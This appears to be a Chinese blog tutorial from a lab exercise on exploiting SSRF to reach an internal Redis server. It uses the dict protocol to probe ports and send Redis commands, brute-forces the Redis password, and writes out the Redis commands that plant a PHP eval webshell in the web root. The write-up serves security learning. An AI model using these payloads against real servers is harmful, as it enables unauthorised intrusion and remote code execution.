SSRF+Redis内网渗透一

我们先将Redis启动起来

这时候使用windows去连接,连接成功的原因是Redis在配置文件中允许被远程访问,我们只需要在windows上操作Redis,爆破成功就可以成功登录上去了

还有一种情况就是,在之前进行远程登录的时候我们将bind 127.0.0.1 -::1给注释了,重新加了一个bind 0.0.0.0,我们现在将bing 127.0.0.1 -::1的注释给拿掉,将bind 0.0.0.0给注释了

然后在window上进行远程登录的时候就没有办法进行连接了,只能在本机进行连接

确认一下本机能否进行连接,经过验证,发现可以进行连接

这是之前学习SSRF时候写的代码,我用老师的电脑进行操作

首先先看看是否存在SSRF漏洞,经过我们的验证,的确存在,下图就是例子

 当我们一顿操作访问到6379端口的时候(可以使用Python进行脚本的撰写),发现一直在转圈,然后去换一个协议

换成dict的时候,发现一下子就出来啦,6378端口没有,只有6379端口有,回显的内容告诉我们需要进行登录,所以我们扫出来了6379端口,而这个消息就是Redis的消息,存在SSRF漏洞

然后我们尝试去登录它,发现半天都连不上,计算机拒绝连接,说明Redis bind了本机IP(环路IP),所以外部的客户端是无法进行连接Redis的,但是发现SSRF漏洞,发现这个漏洞就可以,如上图所示,提示告诉我们需要进行登录

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议,那么就可以轻易的获取目标服务器端口上运行的服务版本等信息

这个时候我们得到了一些反馈,说明字典服务器是有效的,这只是个互联网上的一个服务器

后面跟上help的指令,会给我们返回当前字典有哪些指令和选项

查看其源代码

在指令位置使用show db,它会给我们返回这个字典服务器上的所拥有的各式各样的字典

 我们通过define指定一个数据库来查某一个单词的意思

 然后就会给我们返回family这个单词在这个字典里面的解释

Redis是键值对的形式,我们可以使用dict下达Redis的指令,在后面加上auth:admin123,提示告诉我们登录成功

 接下来执行指令keys *,发现还得进行验证,所以这儿有一个问题就是,dict协议支持Redis指令的操作,但是不支持维持这个session

 我们先把密码给注释掉,让这个实验能够更加顺利的走下去

接下来我们继续执行刚才那个指令,我们还可以执行其他的指令,这里就不再执行了

 我们进到Redis环境,同样的这些值都在这里面,所以就是我们可以通过dict这种协议来匿名登录然后还可以发送,将值成功保存到Redis服务器中

那么问题来了,如果这个Redis需要登录该怎么办呢

因为上面的环境我们将密码给注释掉了,所以不会被密码所限制,如果有密码的话,我们只能够登录上去,如果还想继续做Redis的操作,就已经不顶事了,因为这是一个死循环,无论如何只能执行auth:admin123,而不能进行接下来的操作,这样的话,dict这种协议就没有办法啦,dict还可以登录记录那条有效的,我们可以用来爆破登录的密码

于是呢,我们就使用gopher,gopher的能力比dict的强,因为gopher可 以构造各种TCP层面的请求包,所以gopher在SSRF漏洞利用中充当万金油的角色

由于上面我们将密码给注释了,所以我们现在将密码的注释给删除,然后我们使用bp进行爆破密码,爆破成功,发现密码是admin123

然后我们再将密码给注释掉,植入一个木马看看,还是和Redis实战的一样

config:set:dir:/opt/lampp/htdocs/security

config:set:dbfilename:redismm.php

set:myshell:<?php eval($_POST['code']); ?>

save

执行了save之后,我们就可以对这个木马文件进行访问

这个回显不对,看看是哪的问题,通过下图发现,很明显,内容有问题

这个时候我们先去做一个flushdb操作,将已有的数据给清空

 然后去Redis服务器去看看,发现当前数据库里面已经没有key了,因为我们已经将其清空了,不要让这些已有的东西来影响我们

接下来再配置路径,配置文件名,然后再设置内容,经过一系列的操作,发现这次输入的不会引起报错啦

set:myshell:<?=phpinfo();?>

然后save一下,做持久化操作,发现OK,没有报错了

然后我们进去Redis服务器里面验证一下,发现有key了,是myshell,然后我们get myshell,没有发现完整的PHP代码,只出现了<,说明在myshell写入的过程中?出现问题了

然后我们尝试在PHP代码两边加上换行符,发现也还是报错啦

set:myshell:"\n\n<?=phpinfo(); ?>\n\n"

我们也可以采取转义的方法

set:myshell:"\n\n<?php @eval($_POST[code]);?>\n\n"

我们对里面的PHP代码进行转义,转成16进制

然后我们save持久化一下,然后去文件系统里面看看写入的值正不正确,发现是正确的

然后就去访问这个redismm.php即可,这次保证成功,因为写入的PHP代码可以被执行解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值